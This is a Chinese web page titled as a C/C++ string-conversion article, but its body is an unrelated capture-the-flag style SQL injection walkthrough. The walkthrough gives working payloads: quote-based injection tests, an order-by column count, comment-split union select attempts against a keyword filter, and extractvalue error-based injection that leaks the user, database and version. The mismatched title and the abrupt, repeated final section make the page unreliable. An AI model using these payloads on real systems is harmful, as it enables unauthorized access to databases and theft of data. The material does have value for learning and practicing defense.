1. 程式人生 > 其它 >C/C++ char*、string、CString各種字串之間轉換

C/C++ char*、string、CString各種字串之間轉換

一 首先判斷注入點的存在以及型別。

1 正常

1' 報錯,並根據報錯資訊以及1'#回顯正常判斷出符號包裹為單引號

1' and 1=1# 返回資訊

1' and 1=2#無返回資訊 因此存在單引號注入點

輸入1' or 1=1 #可得到這個表的所有內容

二 獲取列數

1' order by 1#
1' order by 2#
1' order by 3#  報錯

列數為2

三 嘗試獲取資料庫名 表名 版本等基本資訊

-1' union select database()#

返回

return preg_match("/select|update|delete|drop|insert|where|\./i
",$inject);

多個關鍵詞都被過濾 /i 表示大小寫都會被匹配到。

大小寫無法繞過過濾,嘗試註釋繞過。

-1' union sele/**/ct database()#

也無法返回正常結果。

嘗試報錯注入

1' and extractvalue(1,concat(0x7e,user(),0x7e)) #

1' and extractvalue(1,concat(0x7e,database(),0x7e)) #

1' and extractvalue(1,concat(0x7e,version(),0x7e)) #

報出期望資訊,但是沒有select 無法查詢更詳細的欄位資訊。

四 堆疊注入

-1' union sele/**/ct database()#